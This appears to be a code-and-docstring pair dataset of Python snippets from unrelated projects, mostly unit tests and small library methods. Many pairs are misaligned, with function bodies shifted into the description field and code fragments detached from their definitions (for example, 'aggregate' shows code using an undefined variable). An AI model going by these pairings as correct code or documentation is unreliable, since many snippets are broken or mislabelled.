cls.tearDownClass()\n\n @classmethod", "nl": "Added for py.test/nosetests compatibilitycls.setUpClass()@classmethoddef teardown_class(cls):Added for py.test/nosetests compatibility"} {"code": "def is_peptide_bond(bond, resids):\n return resids[bond.GetBeginAtomIdx()] != resids[bond.GetEndAtomIdx()]\n\n", "nl": "Checks if a bond is a peptide bond based on the ResidueId of the atomson each part of the bond. Also works for disulfide bridges or any bond thatlinks two residues in biopolymers.Parameters----------bond : rdkit.Chem.rdchem.BondThe bond to checkresids : dictA dictionnary of ResidueId indexed by atom index"} {"code": "def mock_watcher(config):\n return MockRunnableWatcher(config['index'], config['interval'])\n\n", "nl": "Builds a mock watcher from a config dictionary like:{'index': 'index1','interval: 15'}"} {"code": "def testSubArrays(self):\n self.assertAlmostEqual(self.chi2Vector(engine.action(None), [-100.0, -100.0, -100.0, -100.0, -100.0, -100.0, -100.0, -100.0, -100.0]), 0.0, places=2)\n\n engine, = PFAEngine.fromYaml('''\n self.assertAlmostEqual(self.chi2(engine.action(None), [[-100.0, -100.0, -100.0], [-100.0, -100.0, -100.0], [-100.0, -100.0, -100.0]]), 0.0, places=2)\n", "nl": "engine, = PFAEngine.fromYaml(input: \"null\"output: {type: array, items: double}action:la.sub:- type: {type: array, items: double}value: [1, 2, 3, 4, 5, 6, 7, 8, 9]- type: {type: array, items: double}value: [101, 102, 103, 104, 105, 106, 107, 108, 109])"} {"code": "def push(self, content, content_binding, uri=None, timestamp=None):\n\n content_block = tm10.ContentBlock(\n content=content,\n content_binding=pack_content_binding(content_binding, version=10),\n timestamp_label=timestamp or get_utc_now()\n )\n\n inbox_message = tm10.InboxMessage(message_id=self._generate_id(),\n content_blocks=[content_block])\n\n self._execute_request(inbox_message, uri=uri,\n service_type=const.SVC_INBOX)\n self.log.debug(\"Content block successfully pushed\")\n", "nl": "Push content into Inbox Service.if ``uri`` is not provided, client will try to discover services andfind Inbox Service among them.Content Binding subtypes and Destionation collections are notsupported in TAXII Specification v1.0.:param str content: content to push:param content_binding: content binding for a content:type content_binding: string or:py:class:`cabby.entities.ContentBinding`:param datetime timestamp: timestamp label of the content block(current UTC time by default):param str uri: URI path to a specific Inbox Service:raises ValueError:if URI provided is invalid or schema is not supported:raises `cabby.exceptions.HTTPError`:if HTTP error happened:raises `cabby.exceptions.UnsuccessfulStatusError`:if Status Message received and status_type is not `SUCCESS`:raises `cabby.exceptions.ServiceNotFoundError`:if no service found:raises `cabby.exceptions.AmbiguousServicesError`:more than one service with type specified:raises `cabby.exceptions.NoURIProvidedError`:no URI provided and client can't discover services"} {"code": "def test_add_lineage_item(self):\n cm = materials\n for item in cm:\n item.triangulate()\n", "nl": "Test the add_lineage_item functiontest_desc = \"We did something\"cm = cityjson.CityJSON()cm.add_lineage_item(test_desc)assert cm.j[\"metadata\"][\"lineage\"][0][\"processStep\"][\"description\"] == test_desccm.add_lineage_item(\"Something else\", features=[\"id1\", \"id2\"], source=[{\"description\": \"BAG\"}], processor={\"contactName\": \"3D geoinfo\"})item = cm.j[\"metadata\"][\"lineage\"][1]assert item[\"processStep\"][\"description\"] == \"Something else\"assert len(item[\"featureIDs\"]) == 2assert len(item[\"source\"]) == 1assert item[\"processStep\"][\"processor\"][\"contactName\"] == \"3D geoinfo\"def test_de_compression(self, delft):cm = copy.deepcopy(delft)assert cm.decompress() == Truecm2 = copy.deepcopy(cm)cm.compress(3)assert cm.j[\"transform\"][\"scale\"][0] == 0.001assert len(delft.j[\"vertices\"]) == len(cm.j[\"vertices\"])v1 = cm2.j[\"vertices\"][0][0]v2 = cm.j[\"vertices\"][0][0]assert isinstance(v1, float)assert isinstance(v2, int)def test_de_compression_2(self, cube):cubec = copy.deepcopy(cube)cubec.decompress()assert cube.j[\"vertices\"][0][0] == cubec.j[\"vertices\"][0][0]assert cubec.compress(2) == Trueassert len(cube.j[\"vertices\"]) == len(cubec.j[\"vertices\"])def test_reproject(self, delft_1b):cm = copy.deepcopy(delft_1b)cm.reproject(4937) #-- z values should stay the samev = cm.j[\"vertices\"][0][0] * cm.j[\"transform\"][\"scale\"][0] + cm.j[\"transform\"][\"translate\"][0]assert isclose(v, 4.36772776578513, abs_tol=0.001)assert isclose(cm.j[\"metadata\"][\"geographicalExtent\"][5] - cm.j[\"metadata\"][\"geographicalExtent\"][2], 6.1, abs_tol=0.001)def test_convert_to_stl(self, delft):cm = copy.deepcopy(delft)obj = cm.export2stl()def test_triangulate(self, materials):Test #101"} {"code": "def aggregate(self, stats):\n if self.error:\n return {'class_': 'error' + suffix}\n if self.failed:\n return {'class_': 'invalid' + suffix}\n if self.passed:\n return {'class_': 'valid' + suffix}\n return {}\n", "nl": "Sum stats.self.passed += stats.passedself.failed += stats.failedself.error += stats.errorself.secs += stats.secsdef determine_css(self, suffix=''):Determine CSS style to use for the overall status."} {"code": "def testEC2CPU(self):\n self._testParamFinderAndModelRunner('ec2_cpu_utilization_825cc2')\n\n\n\nif __name__ == \"__main__\":\n unittest.main()", "nl": "Run paramFinder and ModelRunner on ec2_cpu_utilization_825cc2"} {"code": "def test_characters(self):\n ch = self.script\n\n self.assertFalse(ch.remove_last_action(self.char1))\n\n self.assertTrue(ch.add_action(\"advance\", self.char1, self.obj1, 1))\n self.assertEqual(len(ch.db.turn_actions[self.char1.id]), 1)\n self.assertEqual(ch.db.action_count[self.char1.id], 1)\n\n self.assertTrue(ch.add_action(\"drop\", self.char1, self.melee, 0))\n self.assertEqual(len(ch.db.turn_actions[self.char1.id]), 2)\n self.assertEqual(ch.db.action_count[self.char1.id], 1)\n\n self.assertTrue(ch.add_action(\"retreat\", self.char1, self.char1, 1))\n self.assertEqual(len(ch.db.turn_actions[self.char1.id]), 3)\n self.assertEqual(ch.db.action_count[self.char1.id], 2)\n\n self.assertFalse(ch.add_action(\"advance\", self.char1, self.obj1, 1))\n self.assertEqual(len(ch.db.turn_actions[self.char1.id]), 3)\n self.assertEqual(ch.db.action_count[self.char1.id], 2)\n\n self.assertEqual((\"retreat\", self.char1), ch.remove_last_action(self.char1))\n self.assertEqual(len(ch.db.turn_actions[self.char1.id]), 2)\n self.assertEqual(ch.db.action_count[self.char1.id], 1)\n\n self.assertTrue(ch.add_action(\"kick\", self.char1, self.char1, 2))\n self.assertEqual(len(ch.db.turn_actions[self.char1.id]), 3)\n self.assertEqual(ch.db.action_count[self.char1.id], 3)\n", "nl": "test adding and removing characters from a handler# the default script already has characters; create our ownch = create.create_script('typeclasses.combat_handler.CombatHandler', key=\"Script\")self.assertEqual(len(ch.db.characters), 0)self.assertEqual(len(ch.db.action_count), 0)self.assertEqual(len(ch.db.turn_actions), 0)# add a characterch.add_character(self.char1)self.assertEqual(len(ch.db.characters), 1)self.assertEqual(len(ch.db.action_count), 1)self.assertEqual(len(ch.db.turn_actions), 1)self.assertEqual(len(ch.db.distances), 0)# add a second character (NPC)ch.add_character(self.obj1)self.assertEqual(len(ch.db.characters), 2)self.assertEqual(len(ch.db.action_count), 2)self.assertEqual(len(ch.db.turn_actions), 2)self.assertEqual(len(ch.db.distances), 1)self.assertIn(self.char1.id, ch.db.characters)self.assertIn(self.char1.id, ch.db.action_count)self.assertIn(self.char1.id, ch.db.turn_actions)self.assertIn(self.obj1.id, ch.db.characters)self.assertIn(self.obj1.id, ch.db.action_count)self.assertIn(self.obj1.id, ch.db.turn_actions)self.assertIn(frozenset((self.char1.id, self.obj1.id)), ch.db.distances)# remove the NPC; this ends the combatch.remove_character(self.obj1)self.assertFalse(ch.is_valid())def test_actions(self):test adding and removing combat actions"} {"code": "def test_handle_transaction_receipt_iii(self):\n ledger_api_dialogue = self.prepare_skill_dialogue(\n dialogues=self.ledger_api_dialogues,\n messages=self.list_of_ledger_api_messages[:1],\n )\n incoming_message = cast(\n LedgerApiMessage,\n self.build_incoming_message_for_skill_dialogue(\n dialogue=ledger_api_dialogue,\n performative=LedgerApiMessage.Performative.ERROR,\n code=1,\n ),\n )\n ledger_api_dialogue.associated_fipa_dialogue = \"mock\"\n with patch.object(\n self.ledger_api_handler.context.behaviours.transaction, \"failed_processing\"\n ):\n with patch.object(self.logger, \"log\") as mock_logger:\n self.ledger_api_handler.handle(incoming_message)\n\n mock_logger.assert_any_call(\n logging.INFO,\n f\"received ledger_api error message={incoming_message} in dialogue={ledger_api_dialogue}.\",\n )\n", "nl": "Test the _handle_transaction_receipt method of the ledger_api handler where tx is NOT settled.# setupledger_api_dialogue = cast(LedgerApiDialogue,self.prepare_skill_dialogue(dialogues=self.ledger_api_dialogues,messages=self.list_of_ledger_api_messages[:5],counterparty=LEDGER_API_ADDRESS,),)fipa_dialogue = cast(FipaDialogue,self.prepare_skill_dialogue(dialogues=self.fipa_dialogues,messages=self.list_of_fipa_messages[:4],is_agent_to_agent_messages=True,),)ledger_api_dialogue.associated_fipa_dialogue = fipa_dialoguefipa_dialogue.terms = self.termsincoming_message = cast(LedgerApiMessage,self.build_incoming_message_for_skill_dialogue(dialogue=ledger_api_dialogue,performative=LedgerApiMessage.Performative.TRANSACTION_RECEIPT,transaction_receipt=self.transaction_receipt,),)# operationwith patch.object(self.ledger_api_handler.context.behaviours.transaction, \"failed_processing\"):with patch.object(LedgerApis, \"is_transaction_settled\", return_value=False):with patch.object(self.logger, \"log\") as mock_logger:self.ledger_api_handler.handle(incoming_message)# afterself.assert_quantity_in_outbox(0)assert self.transaction_behaviour.processing is Noneassert self.transaction_behaviour.processing_time == 0.0mock_logger.assert_any_call(logging.INFO,f\"transaction_receipt={self.transaction_receipt} not settled or not valid, aborting\",)def test_handle_error(self):Test the _handle_error method of the ledger_api handler."} {"code": "def assertEqual(self, first, second, msg=None):\n assertion_func = self._getAssertEqualityFunc(first, second)\n assertion_func(first, second, msg=msg)\n", "nl": "Fail if the two objects are unequal as determined by the '=='operator."} {"code": "def verify_mac(self, mac, data):", "nl": "Verifies whether mac is the correct message authentication code of data.Args:mac: bytes, the message authentication code to verify against data.data: bytes, the data.Raises:SecurityException: when the mac is invalid."} {"code": "def setProjColWidths(self, colWidths):\n self.projColWidth = [int(x/self.guiScale) for x in colWidths]\n self.confChanged = True\n return True\n", "nl": "Set the column widths of the Load Project dialog."} {"code": "def test_startServiceAddMultipleRoutes(self):\n self.component.domains.add('component2')\n self.component.startService()\n self.assertIn('component', self.router.routes)\n self.assertIn('component2', self.router.routes)\n\n", "nl": "Starting the service creates a new route."} {"code": "def construct_mapped_read_dict():\n Nsig = 20\n Nref = 16\n reftosigstart = np.concatenate((\n np.array([-1, -1], dtype=np.int32),\n np.arange(2, 5, dtype=np.int32),\n np.full(4, 5, dtype=np.int32),\n np.arange(7, 11, dtype=np.int32)\n ))\n reftosig = np.full(Nref + 1, Nsig, dtype=np.int32)\n reftosig[:len(reftosigstart)] = reftosigstart\n return {\n 'shift_frompA': 0.0,\n 'scale_frompA': 0.001,\n 'range': 1.0,\n 'offset': 0.0,\n 'digitisation': float(1000),\n 'Dacs': np.arange(Nsig, dtype=np.int16),\n 'Ref_to_signal': reftosig,\n 'Reference': np.arange(Nref, dtype=np.int16),\n 'read_id': '11b284b3-397f-45e1-b065-9965c10857ac'\n }\n\n\nclass TestMappedReadFiles(unittest.TestCase):\n\n @classmethod", "nl": "Constructs test data for a mapped read fileReturns:dictionary containing the test data"} {"code": "def test_count(self):\n fitter = LinearIQDiscriminator([], [], [])\n d_filter = DiscriminationFilter(fitter, 2)\n\n raw_counts = d_filter.count(['01', '00', '01', '00', '00', '10'])\n self.assertEqual(raw_counts['0x0'], 3)\n self.assertEqual(raw_counts['0x1'], 2)\n self.assertEqual(raw_counts['0x2'], 1)\n self.assertRaises(KeyError, getitem, raw_counts, '0x3')\n\n d_filter = DiscriminationFilter(fitter, 3)\n raw_counts = d_filter.count(['02', '02', '20', '21', '21', '02'])\n self.assertEqual(raw_counts['0x2'], 3)\n self.assertEqual(raw_counts['0x6'], 1)\n self.assertEqual(raw_counts['0x7'], 2)\n", "nl": "Test to see if the filter properly converts the result ofdiscriminator.discriminate to a dictionary of counts."} {"code": "def has_authuser(self):\n return self.has_header(self._AUTH_USER)\n", "nl": " Check if AuthUser is set.Example:>>> query = LivestatusQuery('GET services')>>> query.has_authuser()False>>> query.set_authuser('nagiosadmin')>>> query.has_authuser()TrueReturns:Boolean. True if query has any AuthUser, otherwise False."} {"code": "def test_config_not_initialized(self):\n with self.assertRaises(Exception) as e:\n Config.get(\"database\")\n self.assertEqual(\n str(e.exception), \"[XOS-Config] Module has not been initialized\"\n )\n", "nl": "[XOS-Config] Raise if accessing properties without initialization"} {"code": "def reshape(self, bottom, top):\n size count) \"\"\"", "nl": "Reshaping happens during the call to forward.passdef _unmap(data, count, inds, batch_size, fill=0): Unmap a subset of item (data) back to the original set of items (of"} {"code": "def test_get_oss_fuzz_projects(self):\n if 'dbg' in path:\n return json.dumps({\n 'projects': [{\n 'build_path': 'gs://bucket-dbg/a-b/%ENGINE%/%SANITIZER%/'\n '%TARGET%/([0-9]+).zip',\n 'name': '//a/b',\n 'fuzzing_engines': ['libfuzzer', 'honggfuzz'],\n 'sanitizers': ['address']\n }]\n })\n\n return json.dumps({\n 'projects': [\n {\n 'build_path':\n 'gs://bucket/a-b/%ENGINE%/%SANITIZER%/%TARGET%/([0-9]+).zip',\n 'name':\n '//a/b',\n 'fuzzing_engines': ['libfuzzer', 'honggfuzz'],\n 'sanitizers': ['address', 'memory']\n },\n {\n 'build_path':\n 'gs://bucket/c-d/%ENGINE%/%SANITIZER%/%TARGET%/([0-9]+).zip',\n 'name':\n '//c/d',\n 'fuzzing_engines': ['libfuzzer', 'googlefuzztest'],\n 'sanitizers': ['address']\n },\n {\n 'build_path':\n 'gs://bucket/e-f/%ENGINE%/%SANITIZER%/%TARGET%/([0-9]+).zip',\n 'name':\n '//e/f',\n 'fuzzing_engines': ['libfuzzer'],\n 'sanitizers': ['none']\n },\n ]\n })\n\n\n@test_utils.with_cloud_emulators('datastore', 'pubsub')\nclass GenericProjectSetupTest(unittest.TestCase):\n \"\"\"Test generic project setup.\"\"\"", "nl": "Tests get_oss_fuzz_projects().libraries = project_setup.get_oss_fuzz_projects()self.assertListEqual(sorted(libraries), [('boringssl', {'homepage': 'https://boringssl.googlesource.com/boringssl/'}), ('curl', {'homepage': 'https://curl.haxx.se/','dockerfile': {'git': 'fake','path': 'path/Dockerfile',}})])def _mock_read_data(path):Mock read_data."} {"code": "def bind(self, svc, ref):\n if SVC_A in ref.get_property(OBJECTCLASS):\n self.states.append(BIND_A)\n\n elif SVC_B in ref.get_property(OBJECTCLASS):\n self.states.append(BIND_B)\n\n @BindField(\"_svc_a\")", "nl": "Bound"} {"code": "def _prepare_like(entry, num_entries):\n\t\treturn numpy.empty(\n\t\t\tshape=(num_entries, ) + Logger._get_shape(entry),\n\t\t\tdtype=Logger._get_dtype(entry)\n\t\t)\n\n\t@staticmethod", "nl": " Allocates a numpy array to hold a certain number of data values."} {"code": "def signature(self) -> str:\n return self._service_id\n\n @property", "nl": "Get record signaturereturn self._signature@propertydef service_id(self) -> SimpleIdOrStr:Get the identifier."} {"code": "def better_sentences(func):\n\n @wraps(func)", "nl": "takes care of some edge cases of sentencetokenization for cases when websites don'tclose sentences properly, usually afterblockquotes, image captions or attributions"} {"code": "def decompose_rules(self, flows, groups):\n", "nl": "Generate per-device flows and flow-groups from the flows and groupsdefined on a logical device:param flows: logical device flows:param groups: logical device flow groups:return: dict(device_id ->(OrderedDict-of-device-flows, OrderedDict-of-device-flow-groups))"} {"code": "def name(self) -> str:\n self._set_system_property('name', name)\n self._artifact.name = name\n\n @property\n @doc_controls.do_not_doc_in_subclasses", "nl": "Name of the underlying mlmd artifact.return self._get_system_property('name')@name.setterdef name(self, name: str):Set name of the underlying artifact."} {"code": "def forward(self, seed_xyz, seed_features, end_points):\n B, num_seed, _ = seed_xyz.size()\n features = F.relu(self.bn1(self.conv1(seed_features)), inplace=True)\n features = F.relu(self.bn2(self.conv2(features)), inplace=True)\n features = self.conv3(features)\n objectness_score = features[:, :2, :]\n view_score = features[:, 2:2+self.num_view, :].transpose(1,2).contiguous()\n end_points['objectness_score'] = objectness_score\n end_points['view_score'] = view_score\n\n top_view_scores, top_view_inds = torch.max(view_score, dim=2)\n top_view_inds_ = top_view_inds.view(B, num_seed, 1, 1).expand(-1, -1, -1, 3).contiguous()\n template_views = generate_grasp_views(self.num_view).to(features.device)\n template_views = template_views.view(1, 1, self.num_view, 3).expand(B, num_seed, -1, -1).contiguous()\n vp_xyz = torch.gather(template_views, 2, top_view_inds_).squeeze(2)\n vp_xyz_ = vp_xyz.view(-1, 3)\n batch_angle = torch.zeros(vp_xyz_.size(0), dtype=vp_xyz.dtype, device=vp_xyz.device)\n vp_rot = batch_viewpoint_params_to_matrix(-vp_xyz_, batch_angle).view(B, num_seed, 3, 3)\n end_points['grasp_top_view_inds'] = top_view_inds\n end_points['grasp_top_view_score'] = top_view_scores\n end_points['grasp_top_view_xyz'] = vp_xyz\n end_points['grasp_top_view_rot'] = vp_rot\n\n return end_points\n\n\nclass CloudCrop(nn.Module):\n \"\"\" Cylinder group and align for grasp configure estimation. Return a list of grouped points with different cropping depths.", "nl": " Forward pass.Input:seed_xyz: [torch.FloatTensor, (batch_size,num_seed,3)]coordinates of seed pointsseed_features: [torch.FloatTensor, (batch_size,feature_dim,num_seed)features of seed pointsend_points: [dict]Output:end_points: [dict]"} {"code": "def convert_package(package_path, name, interactive=False):\n conanbuildinfo_json = os.path.join(package_path, \"conanbuildinfo.json\")\n return os.path.isfile(conanbuildinfo_json)\n\n", "nl": " Convert Package. dest_dir = os.path.dirname(package_path)package = open_package(package_path)with qisys.sh.TempDir() as tmp:qibuild_package_path = convert_to_qibuild(package, output_dir=tmp)add_cmake_module_to_archive(qibuild_package_path, name, interactive=interactive)src = os.path.abspath(qibuild_package_path)dst = os.path.join(dest_dir, os.path.basename(qibuild_package_path))dst = os.path.abspath(dst)qisys.sh.mv(src, dst)qibuild_package_path = dstreturn qibuild_package_pathdef conan_json_exists(package_path): Check whether the conanbuildinfo file exists. "} {"code": "def _set_resource_status_details(self, resource_id: str, physical_res_id: str = None):\n result = dict(self.template_resources)\n", "nl": "Helper function to ensure that the status details for the given resource ID are up-to-date.resource = self.resources.get(resource_id)if resource is None:# make sure we delete the states for any non-existing/deleted resourcesself._resource_states.pop(resource_id, None)returnstate = self._resource_states.setdefault(resource_id, {})attr_defaults = ((\"LogicalResourceId\", resource_id),(\"PhysicalResourceId\", physical_res_id),)for res in [resource, state]:for attr, default in attr_defaults:res[attr] = res.get(attr) or defaultstate[\"StackName\"] = state.get(\"StackName\") or self.stack_namestate[\"StackId\"] = state.get(\"StackId\") or self.stack_idstate[\"ResourceType\"] = state.get(\"ResourceType\") or self.resources[resource_id].get(\"Type\")return statedef resource_status(self, resource_id: str):result = self._lookup(self.resource_states, resource_id)return resultdef latest_template_raw(self):if self.change_sets:return self.change_sets[-1]._template_rawreturn self._template_raw@propertydef resource_states(self):for resource_id in list(self._resource_states.keys()):self._set_resource_status_details(resource_id)return self._resource_states@propertydef stack_name(self):return self.metadata[\"StackName\"]@propertydef stack_id(self):return self.metadata[\"StackId\"]# TODO: potential performance issues due to many stack_parameters calls (cache or limit actual invocations)@propertydef resources(self): # TODO: not actually resources, split apartReturn dict of resources, parameters, conditions, and other stack metadata."} {"code": "def escape(s, quote=None):\n s = s.replace(\"&\", \"&\")\n s = s.replace(\"<\", \"<\")\n s = s.replace(\">\", \">\")\n if quote:\n s = s.replace('\"', \""\")\n return s\n", "nl": "Replace special characters \"&\", \"<\" and \">\" to HTML-safe sequences.If the optional flag quote is true, the quotation mark character (\")is also translated."} {"code": "def add_to_sys_path(path):\n import warnings\n import matplotlib\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n matplotlib.use('Agg')\n\n", "nl": "Add a path to the system PATH.sys.path.insert(0, path)def configure_matplotlib():Set Matplotlib backend to 'Agg', which is necessary on CodaLab docker image."} {"code": "def __init__(self, parent):\n self.sig_ready.emit()\n\n @Slot()", "nl": "Handler main constructor.QObject.__init__(self, parent)@Slot()def ready(self):Invoke signal when terminal prompt is ready."} {"code": "def __iter__(self) -> Iterable[Dataset]:\n return self.datasets()\n", "nl": "Iterate over the datasets.Dataset order is consistent across runs.Equivalent to :meth:`datasets.datasets()`, but without the ability toiterate over the deprecated datasets.If the number of benchmarks in any of the datasets is infinite(:code:`len(dataset) == math.inf`), the iterable returned by this methodwill continue indefinitely.:return: An iterable sequence of :meth:`Dataset` instances."} {"code": "def __init__(self):\n Usage is set by its parent\"\"\"\n [--user |--mach |--alist ] []\"\"\"", "nl": "Add to the parser the options common to all the ACL actionssuper(acl, self).__init__()self.parser.add_option('-A', '--alist',help='File listing the ACLs',type='string',default=None,metavar='ACL_FLIST')self.topic_parse_info = topic_common.item_parse_info(attribute_name='acls',filename_option='alist',use_leftover=True)def get_items(self):return self.aclsclass acl_help(acl):Just here to get the atest logic working."} {"code": "def to_marker(self, latitude, longitude):\n new_marker = Marker(\n location=(latitude, longitude),\n hover_text=self.hover_text,\n display_info_box=self.display_info_box,\n info_box_content=self.info_box_content,\n label=self.label\n )\n return new_marker\n\n\nclass _BaseMarkerMixin(HasTraits):\n location = geotraitlets.Point(DEFAULT_CENTER).tag(sync=True)\n hover_text = Unicode('').tag(sync=True)\n display_info_box = Bool(False).tag(sync=True)\n info_box_content = Unicode('').tag(sync=True)\n\n\nclass Symbol(GMapsWidgetMixin, _BaseMarkerMixin, widgets.Widget):\n \"\"\"", "nl": "Construct a marker with these optionsThis constructs an instance of :class:`gmaps.Marker` with thesestyle options.:param latitude: Latitude of the marker, expressed as a floatbetween -90 (corresponding to 90 degrees south) and +90(corresponding to 90 degrees north).:type latitude: float:param longitude: Longitude of the marker, expressed as afloat between -180 (corresponding to 180 degrees west)and +180 (corresponding to 180 degrees east).:type longitude: float"} {"code": "def dump(self, data):\n return json.dumps(data)\n", "nl": "RestCredentials context ``password``.Dump data to string.:param data: data to be encrypted:type data: dict:return:"} {"code": "def info(self):\n\n .. deprecated:: 1.0.0\n \"\"\"", "nl": "Returns version information.return self._request('GET', '/info')class Nsqd(object):Use :class:`NsqdTCPClient` or :class:`NsqdHTTPClient` instead."} {"code": "def dynamic_countless3d(data):\n to process an image.\"\"\"", "nl": "countless8 + dynamic programming. ~2x fastersections = []# shift zeros up one so they don't interfere with bitwise operators# we'll shift down at the enddata += 1# This loop splits the 2D array apart into four arrays that are# all the result of striding by 2 and offset by (0,0), (0,1), (1,0),# and (1,1) representing the A, B, C, and D positions from Figure 1.factor = (2,2,2)for offset in np.ndindex(factor):part = data[tuple(np.s_[o::f] for o, f in zip(offset, factor))]sections.append(part)pick = lambda a,b: a * (a == b)lor = lambda x,y: x + (x == 0) * ysubproblems2 = {}results2 = Nonefor x,y in combinations(range(7), 2):res = pick(sections[x], sections[y])subproblems2[(x,y)] = resif results2 is not None:results2 += (results2 == 0) * reselse:results2 = ressubproblems3 = {}results3 = Nonefor x,y,z in combinations(range(8), 3):res = pick(subproblems2[(x,y)], sections[z])if z != 7:subproblems3[(x,y,z)] = resif results3 is not None:results3 += (results3 == 0) * reselse:results3 = resresults3 = reduce(lor, (results3, results2, sections[-1]))# free memoryresults2 = Nonesubproblems2 = Noneres = Noneresults4 = ( pick(subproblems3[(x,y,z)], sections[w]) for x,y,z,w in combinations(range(8), 4) )results4 = reduce(lor, results4)subproblems3 = None # free memoryfinal_result = lor(results4, results3) - 1data -= 1return final_resultdef countless3d(data):Now write countless8 in such a way that it could be used"} {"code": "def pop(self, key, default=__marker):\n if key in self:\n result = self[key]\n del self[key]\n return result", "nl": "od.pop(k[,d]) -> v, remove specified key and return the correspondingvalue. If key is not found, d is returned if given, otherwise KeyErroris raised."} {"code": "def wrap_test_cases(func):\n", "nl": "Wrap test cases.func.__dict__[\"build_test_cases\"] = True@functools.wraps(func)def mock_wrapper(cls, test_case):for patched_attr in cls.device.patched_attrs:attr = getattr(cls.device, patched_attr)attr.current_test = func.__name__attr.current_test_case = test_casetry:# This is an ugly, ugly, ugly hack because some python objects don't load# as expected. For example, dicts where integers are stringsresult = json.loads(json.dumps(func(cls, test_case)))except IOError:if test_case == \"no_test_case_found\":pytest.fail(\"No test case for '{}' found\".format(func.__name__))else:raiseexcept NotImplementedError:pytest.skip(\"Method not implemented\")return# This is an ugly, ugly, ugly hack because some python objects don't load# as expected. For example, dicts where integers are stringstry:expected_result = attr.expected_resultexcept IOError as e:raise Exception(\"{}. Actual result was: {}\".format(e, json.dumps(result)))if isinstance(result, list):diff = list_dicts_diff(result, expected_result)else:diff = dict_diff(result, expected_result)if diff:print(\"Resulting JSON object was: {}\".format(json.dumps(result)))raise AssertionError(\"Expected result varies on some keys {}\".format(json.dumps(diff)))for patched_attr in cls.device.patched_attrs:attr = getattr(cls.device, patched_attr)attr.current_test = \"\" # Empty them to avoid side effectsattr.current_test_case = \"\" # Empty them to avoid side effectsreturn result@functools.wraps(func)def real_wrapper(cls, test_case):try:return func(cls, test_case)except NotImplementedError:pytest.skip(\"Method not implemented\")returnif conftest.NAPALM_TEST_MOCK:return mock_wrapperelse:return real_wrapperclass BaseTestGetters(object):Base class for testing drivers."} {"code": "def assert_called_with(_mock_self, *args, **kwargs):\n self = _mock_self\n if self.call_args is None:\n expected = self._format_mock_call_signature(args, kwargs)\n raise AssertionError('Expected call: %s\\nNot called' % (expected,))\n\n if self.call_args != (args, kwargs):\n msg = self._format_mock_failure_message(args, kwargs)\n raise AssertionError(msg)\n\n", "nl": "assert that the mock was called with the specified arguments.Raises an AssertionError if the args and keyword args passed in aredifferent to the last call to the mock."} {"code": "def get_string_delta(self, format='%M'):\n seconds = int(self.delta.total_seconds())\n if format == '%M':\n result = text_type(int(seconds / 60))\n elif format == '%H:%M':\n result = '{hours:02d}:{minutes:02d}'.format(hours=int(seconds / 3600),\n minutes=int((seconds % 3600) / 60))\n else:\n raise ValueError(_(\"Got invalid format argument.\"))\n return result\n\n @property", "nl": "Return a string representation of ``Fact().delta``.Args:format (str): Specifies the output format. Valid choices are:* ``'%M'``: As minutes, rounded down.* ``'%H:%M'``: As 'hours:minutes'. rounded down.Returns:str: String representing this facts *duration* in the given format.capitalizeRaises:ValueError: If a unrecognized format specifier is received."} {"code": "def removeWriter(self, writer):\n self._remove(writer, self._writes, self._reads, self.INFLAGS)\n\n", "nl": "Stop monitoring the given L{FileDescriptor} for writing."} {"code": "def test_basic_types_convert(self):\n self.check(b, a)\n\n b = \"\"\"types.DictType\"\"\"\n self.check(b, a)\n\n b = \"\"\"types . IntType\"\"\"\n self.check(b, a)\n\n b = \"\"\"types.ListType\"\"\"\n self.check(b, a)\n\n b = \"\"\"types.LongType\"\"\"\n self.check(b, a)\n\n b = \"\"\"types.NoneType\"\"\"\n self.check(b, a)\n\n b = \"types.StringTypes\"\n a = \"(str,)\"\n self.check(b, a)\n\nclass Test_idioms(FixerTestCase):\n fixer = \"idioms\"\n", "nl": "b = types.StringTypea = bytes"} {"code": "def activateNode(self, index):\n\n modifiers = QtWidgets.QApplication.keyboardModifiers()\n if (modifiers & QtCore.Qt.ShiftModifier) or \\\n (modifiers & QtCore.Qt.ControlModifier):\n return\n node = self.dbt_model.nodeFromIndex(index)\n if node.node_kind.count('group'):\n if not self.isExpanded(index):\n self.expand(index)\n elif node.has_view:\n wrkspc = self.vtgui.workspace\n pcurrent = QtCore.QPersistentModelIndex(index)\n for window in wrkspc .subWindowList():\n if pcurrent == window.pindex:\n wrkspc.setActiveSubWindow(window)\n else:\n self.vtapp.nodeOpen(index)\n\n", "nl": "Expand an item via `Enter`/`Return` key or mouse double click.When the user activates a collapsed item (by pressing `Enter`, `Return`or by double clicking the item) then it is expanded. If the useractivates the node by double clicking on it while the `Shift` key ispressed, the item is edited (if editing is enabled).Lazy population of the model is partially implemented in thismethod. Expanded items are updated so that children items are added ifneeded. This fact improves enormously the performance when fileswhit a large number of nodes are opened.This method is a slot connected to the activated(QModelIndex) signalin the ctor.:Parameter index: the index of the activated item"} {"code": "def __init__(self, field):\n self.specials = '()<>@,:;.\\\"[]'\n self.pos = 0\n self.LWS = ' \\t'\n self.CR = '\\r\\n'\n self.atomends = self.specials + self.LWS + self.CR\n self.phraseends = self.atomends.replace('.', '')\n self.field = field\n self.commentlist = []\n", "nl": "Initialize a new instance.`field' is an unparsed address header field, containing one or moreaddresses."} {"code": "def get_folder(self, folder):\n return MH(os.path.join(self._path, folder),\n factory=self._factory)\n", "nl": "Return an MH instance for the named folder.return MH(os.path.join(self._path, folder),factory=self._factory, create=False)def add_folder(self, folder):Create a folder and return an MH instance representing it."} {"code": "def setUp(self):", "nl": "Set up method for strategy pool generator tests with patch.test_helpers.patch_environ(self)test_helpers.patch(self, ['clusterfuzz._internal.bot.fuzzers.engine_common.decide_with_probability'])self.mock.decide_with_probability.return_value = Truedef test_default_pool_deterministic(self):Deterministically tests the default strategy pool generator."} {"code": "def splithost(url):\n global _userprog\n if _userprog is None:\n import re\n _userprog = re.compile('^(.*)@(.*)$')\n match = _userprog.match(host)\n if match:\n return match.group(1, 2)\n else:\n return (\n None, host)\n\n\n_passwdprog = None\n", "nl": "splithost('//host[:port]/path') --> 'host[:port]', '/path'.global _hostprogif _hostprog is None:import re_hostprog = re.compile('^//([^/?]*)(.*)$')match = _hostprog.match(url)if match:host_port = match.group(1)path = match.group(2)if path and not path.startswith('/'):path = '/' + pathreturn (host_port, path)else:return (None, url)_userprog = Nonedef splituser(host):splituser('user[:passwd]@host[:port]') --> 'user[:passwd]', 'host[:port]'."} {"code": "def get_logger(name, log_level=None, fmt=None):\n user_log_level = _get_log_level()\n if user_log_level != \"developer\":\n name = \"SmartSim\"\n\n logger = logging.getLogger(name)\n if log_level:\n 